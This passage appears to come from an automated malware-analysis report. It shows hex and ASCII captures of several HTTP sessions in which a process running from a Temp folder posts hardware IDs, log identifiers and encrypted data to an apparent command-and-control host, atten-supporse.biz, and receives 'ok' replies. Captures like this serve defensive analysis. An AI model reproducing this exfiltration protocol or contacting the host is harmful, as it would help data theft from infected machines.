name="pid"1--J3LKYC1I4TLQF1JCLQJContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-02 10:22:13 UTC	8062	OUT	Data Raw: 29 cb 54 72 23 97 d1 3e 2f e4 b6 d7 0b 3c 1d 19 f3 f7 38 41 d5 36 7b fb f9 78 e3 e0 91 f2 5f 9e 8f 0b e5 c5 6b 45 b2 d2 27 d5 d5 0b ac d5 9d 20 cc f7 d3 a1 29 ef f5 fb 1b 93 ca fa f9 3f 0c 9b 20 18 fa 79 c0 09 c2 92 21 17 36 e8 e5 85 7e 8b 9f 9e 8a f4 5b 28 bc 66 5e 12 93 42 69 76 d2 70 42 4d 6b 19 c5 ab ec 7c 48 5d 89 ee be 0b 16 0b a4 29 69 f7 75 ac c7 e0 96 d7 6f 06 b4 cd 36 4a c1 d2 b4 53 d5 a5 66 2c 2a ad cb 57 ba 9d 03 b5 f4 8f af 5d 7d a2 a2 74 f5 be 3f a4 66 84 24 fe 68 1a 84 e9 63 61 e3 0c 56 0f 23 7d 13 a1 aa 70 b5 e6 c3 fd 8f fa 3a 10 af 21 68 2a f2 d8 80 90 5f d6 df 7c f7 de b7 e7 25 1a 4b 44 78 35 ca f0 f1 51 10 d3 50 e8 5d 79 7b b4 00 fa d4 cc 66 1a 5d 74 15 7e e0 e6 9f 47 a5 04 8b 0c bf dd 81 26 99 58 e8 11 8e 23 da f1 73 e1 dc cc c0 17 e9 Data Ascii: )Tr#>/<8A6{x_kE' )? y!6~[(f^BivpBMk\|H])iuo6JSf,W]}t?f$hcaV#}p:!h_\|%KDx5QP]y{f]t~G&X#s
2024-12-02 10:22:18 UTC	1032	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d5o3d8pceck2ac1g568jggoets; expires=Fri, 28-Mar-2025 04:08:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lAn9PIS4YfSk2rIxDTQ%2FnMksn1WCqgTzSajI2Mc1maM%2F7x23xKO%2FV4BNkT5SbrlaxJNKPFULRmMklIlH4HPDSYpmEZVTQfej8uucM8%2FiJV%2BU%2Bpfz2c1rg%2FLkOCw5YpeVAX4YXbQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba98352e9e0ff0-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=193433&min_rtt=190355&rtt_var=43235&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=24358&delivery_rate=20096&cwnd=252&unsent_bytes=0&cid=75c2e5764960fa1f&ts=5118&x=0"
2024-12-02 10:22:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 0d 0a Data Ascii: 11ok 173.244.56.169
2024-12-02 10:22:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.11.20	49842	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:14 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZUZ1EFKRQK21 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 685 Host: atten-supporse.biz
2024-12-02 10:22:14 UTC	685	OUT	Data Raw: 2d 2d 5a 55 5a 31 45 46 4b 52 51 4b 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 5a 55 5a 31 45 46 4b 52 51 4b 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 55 5a 31 45 46 4b 52 51 4b 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 5a 55 5a 31 45 46 4b 52 Data Ascii: --ZUZ1EFKRQK21Content-Disposition: form-data; name="hwid"033285EDB129FD4CDB71E32F12885CB3--ZUZ1EFKRQK21Content-Disposition: form-data; name="pid"1--ZUZ1EFKRQK21Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--ZUZ1EFKR
2024-12-02 10:22:17 UTC	1027	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=baiqlgki016thmfsf5g654ljto; expires=Fri, 28-Mar-2025 04:08:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UB%2BK3v5E6VCuKpgRbnpI6TPI7%2Bjju9Eu79g3qs5LfkB%2BJ6eRXKCsMEb8yYrb%2Bd1H78zclOLh4zAhB7SkmUAtGjCRzKduzfbHWPEu%2BKZK%2FZ7KPD5uWqBDA9gYYNDENAITkX2P57Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba98410cc77c1e-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=157203&min_rtt=156832&rtt_var=33258&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=1597&delivery_rate=24365&cwnd=252&unsent_bytes=0&cid=050092ce07866101&ts=2523&x=0"
2024-12-02 10:22:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 0d 0a Data Ascii: 11ok 173.244.56.169
2024-12-02 10:22:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.11.20	49844	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:17 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DJ31WTFWQ3X7PPN9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20838 Host: atten-supporse.biz
2024-12-02 10:22:17 UTC	15331	OUT	Data Raw: 2d 2d 44 4a 33 31 57 54 46 57 51 33 58 37 50 50 4e 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 44 4a 33 31 57 54 46 57 51 33 58 37 50 50 4e 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 4a 33 31 57 54 46 57 51 33 58 37 50 50 4e 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --DJ31WTFWQ3X7PPN9Content-Disposition: form-data; name="hwid"033285EDB129FD4CDB71E32F12885CB3--DJ31WTFWQ3X7PPN9Content-Disposition: form-data; name="pid"2--DJ31WTFWQ3X7PPN9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-02 10:22:17 UTC	5507	OUT	Data Raw: 43 4a 6c 16 80 b8 0e db a0 b0 0d ec a2 4c 52 a1 6c ed b8 77 bd 87 62 c9 98 52 ef 2b b0 50 93 52 cd 21 5a 45 37 59 84 2a ab e7 59 db e6 ed c4 56 d7 d8 75 7b 47 d2 68 31 1f f5 ce c4 26 80 58 00 9f 02 e2 d7 5d ef da 68 c4 65 f3 02 1a 5d e3 17 54 a9 ba eb 91 5a 95 6d a3 b1 48 ab ef e3 44 b6 cc 50 39 d2 80 18 d8 28 05 de d2 29 a7 23 a3 fd 62 e0 d2 60 f3 9c de 50 85 b6 cd a9 74 4c d8 cc 07 59 7e 6f 0c f9 6f 38 01 50 1f e0 d4 37 c7 23 5d 66 24 ce ee e1 f7 f9 c0 8d 8f a2 96 74 b9 a0 9b bc 33 c5 0f 18 ae 1a d3 37 38 e4 b5 bb 46 d8 95 3d 17 6f 0d a8 d5 98 dd 3e c6 65 f9 ed 6c 0e 6b 59 60 ab 33 1a 26 4e 75 6d ba d1 05 38 57 6f f9 d9 68 fa 51 96 5e b3 35 47 37 a9 e3 b0 8e 66 f6 1c 65 f9 69 8c b3 d9 1e 97 75 47 2b b9 79 5a f4 06 d5 35 56 b0 1a 03 eb 65 b2 76 8e 96 58 Data Ascii: CJlLRlwbR+PR!ZE7Y*YVu{Gh1&X]he]TZmHDP9()#b`PtLY~oo8P7#]f$t378F=o>elkY`3&Num8WohQ^5G7feiuG+yZ5VevX
2024-12-02 10:22:20 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j6l5604btt7oka2hho3so46u3c; expires=Fri, 28-Mar-2025 04:08:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jUDIUSIWgAfUrAfpNe8IY4djCyskfxhnFJZIfuas4fNzhrNE2g7bbIyzBcXT1ahxo6NkXRUs7F%2BRlomPOv9FBeCskqtzARIE0UlIq0ARiMqOM1Dz0aZ4YNlZFwerBRSAnQhxJ0c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba9851a8a70fdd-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=157098&min_rtt=157025&rtt_var=33223&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21800&delivery_rate=24356&cwnd=252&unsent_bytes=0&cid=89050d117e43820f&ts=2753&x=0"
2024-12-02 10:22:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 0d 0a Data Ascii: 11ok 173.244.56.169
2024-12-02 10:22:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49846	172.67.165.166	443	7964	C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:18 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-02 10:22:18 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=033285EDB129FD4CDB71E32F12885CB3
2024-12-02 10:22:21 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=na8sdl5297apiv6v6qsrqe0pib; expires=Fri, 28-Mar-2025 04:08:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=93j1z%2Bk1IFWZq1OyPxmFi3K8t1uGbe6Z3UPvupdHNHl0gfGzPzrkT3rcA45SIUF6ZzrkpcL0hDP2E0Qb2YeCh%2FSg36bKqBGLP2Bu1bFZ98wPIj2JqJ%2BwGAEqCUObrYWxj8sZZUo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba98596e612f3b-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=157071&min_rtt=156966&rtt_var=33276&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=990&delivery_rate=24349&cwnd=252&unsent_bytes=0&cid=937463de3fd22bb2&ts=2653&x=0"
2024-12-02 10:22:21 UTC	214	IN	Data Raw: 64 30 0d 0a 2b 65 51 57 38 2f 74 4f 79 47 42 61 58 4d 32 66 57 57 66 74 76 48 77 4f 77 34 30 7a 42 69 74 79 41 2b 2f 50 46 31 6c 4c 34 2b 32 69 6e 7a 53 47 32 58 54 71 43 43 34 6f 76 61 55 46 53 4c 47 54 54 54 62 32 6f 77 45 33 48 6c 77 79 33 76 77 35 61 48 32 2f 77 70 61 43 63 4b 2f 55 4b 71 30 47 64 44 6d 31 2b 6e 74 4c 7a 39 6f 49 4c 50 6d 39 48 79 52 4f 55 44 6e 65 73 6a 73 69 61 5a 62 50 77 38 5a 2b 68 34 38 2b 38 6a 78 31 41 4f 4b 75 59 56 4c 44 6a 6b 30 37 37 62 77 43 4e 51 56 44 4e 62 50 67 5a 43 30 75 67 6f 43 6c 79 32 53 53 6c 53 71 6e 44 58 51 35 74 66 70 37 53 38 2f 61 43 43 7a 35 76 52 38 6b 54 6c 41 35 33 37 4a 4b 0d 0a Data Ascii: d0+eQW8/tOyGBaXM2fWWftvHwOw40zBityA+/PF1lL4+2inzSG2XTqCC4ovaUFSLGTTTb2owE3Hlwy3vw5aH2/wpaCcK/UKq0GdDm1+ntLz9oILPm9HyROUDnesjsiaZbPw8Z+h48+8jx1AOKuYVLDjk077bwCNQVDNbPgZC0ugoCly2SSlSqnDXQ5tfp7S8/aCCz5vR8kTlA537JK
2024-12-02 10:22:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.11.20	49854	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:20 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SH6DIHAS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 10884 Host: atten-supporse.biz
2024-12-02 10:22:20 UTC	10884	OUT	Data Raw: 2d 2d 53 48 36 44 49 48 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 53 48 36 44 49 48 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 48 36 44 49 48 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 53 48 36 44 49 48 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --SH6DIHASContent-Disposition: form-data; name="hwid"033285EDB129FD4CDB71E32F12885CB3--SH6DIHASContent-Disposition: form-data; name="pid"2--SH6DIHASContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--SH6DIHASContent-Di
2024-12-02 10:22:23 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qd2c1m7jtmt3n5o3dqpfi3vqbc; expires=Fri, 28-Mar-2025 04:09:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y7aO0hyqTg5pfUepyuVdkkR4MCMcJjtSVsxOQHDl3ALi4VxWJ3F80QZrV1bHC8w8KYr0iowfP2jwuqV3efKEARPel3zt3sR4IaDr0RUpSz2Qexi7e7b%2FjnQ4qgg8Ra3ewc1A1sw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba9864ee316a26-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=157385&min_rtt=157253&rtt_var=33277&sent=7&recv=16&lost=0&retrans=0&sent_bytes=2846&recv_bytes=11816&delivery_rate=24349&cwnd=252&unsent_bytes=0&cid=759203da377ec2c1&ts=2628&x=0"
2024-12-02 10:22:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 0d 0a Data Ascii: 11ok 173.244.56.169
2024-12-02 10:22:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.11.20	49882	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:23 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JLE7959IBU5TBEDZSWH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20579 Host: atten-supporse.biz
2024-12-02 10:22:23 UTC	15331	OUT	Data Raw: 2d 2d 4a 4c 45 37 39 35 39 49 42 55 35 54 42 45 44 5a 53 57 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 4a 4c 45 37 39 35 39 49 42 55 35 54 42 45 44 5a 53 57 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4a 4c 45 37 39 35 39 49 42 55 35 54 42 45 44 5a 53 57 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --JLE7959IBU5TBEDZSWHContent-Disposition: form-data; name="hwid"033285EDB129FD4CDB71E32F12885CB3--JLE7959IBU5TBEDZSWHContent-Disposition: form-data; name="pid"3--JLE7959IBU5TBEDZSWHContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-02 10:22:23 UTC	5248	OUT	Data Raw: a3 c3 f4 ba ef 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 4d d1 61 7a dd 77 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb 5c 6f 74 98 5e f7 dd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a b7 29 3a 4c af fb 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9d eb 8d 0e d3 eb be 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 36 45 87 e9 75 df 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 bd d1 61 7a dd 77 03 00 00 00 00 00 00 00 00 00 00 Data Ascii: Mazw\ot^:):Ln`X6Eusazw
2024-12-02 10:22:26 UTC	1024	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k1h58jcrvnahmk2l13fdl6d0lv; expires=Fri, 28-Mar-2025 04:09:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W9HTPe3%2Bxrall6GV51elT7lSYspppifiVg2RY8Nbz2JFl4mOa%2FUJQXynzf3ktSPz1h16fwCd1RD7aOVn1K01sHb6x4sXzz8N%2BgkC2v2Zx65UTlgbqC16IGmnFH7jkaUnMKneJS4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba98779e562f4a-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=157003&min_rtt=156875&rtt_var=33296&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21544&delivery_rate=24346&cwnd=252&unsent_bytes=0&cid=dd0f08316c79f897&ts=2659&x=0"
2024-12-02 10:22:26 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 0d 0a Data Ascii: 11ok 173.244.56.169
2024-12-02 10:22:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.11.20	49885	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:26 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IP1Z3O37Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1275 Host: atten-supporse.biz
2024-12-02 10:22:26 UTC	1275	OUT	Data Raw: 2d 2d 49 50 31 5a 33 4f 33 37 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 33 32 38 35 45 44 42 31 32 39 46 44 34 43 44 42 37 31 45 33 32 46 31 32 38 38 35 43 42 33 0d 0a 2d 2d 49 50 31 5a 33 4f 33 37 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 50 31 5a 33 4f 33 37 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 49 50 31 5a 33 4f 33 37 59 0d 0a 43 6f 6e 74 65 6e Data Ascii: --IP1Z3O37YContent-Disposition: form-data; name="hwid"033285EDB129FD4CDB71E32F12885CB3--IP1Z3O37YContent-Disposition: form-data; name="pid"1--IP1Z3O37YContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--IP1Z3O37YConten
2024-12-02 10:22:28 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=an91u4ikhaeu27qphmjdled5h6; expires=Fri, 28-Mar-2025 04:09:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oLSxLXmVnx1Fx3lnKEuey463aoZtUzifL8ofUun8Hlbxswh6uFTd0wx3da6lVnKu2njB4rcdhptnTyAEMXubtbpUmK3WcspDK25yDzUVVmYCIegohhpnnb0zsuu75iJrkUQ46eU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba988a7f747ee4-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=157163&min_rtt=156984&rtt_var=33385&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2185&delivery_rate=24318&cwnd=252&unsent_bytes=0&cid=14b71b359ccaca05&ts=2123&x=0"
2024-12-02 10:22:28 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 0d 0a Data Ascii: 11ok 173.244.56.169
2024-12-02 10:22:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.11.20	49889	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:29 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ADDJ5RUR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 31733 Host: atten-supporse.biz
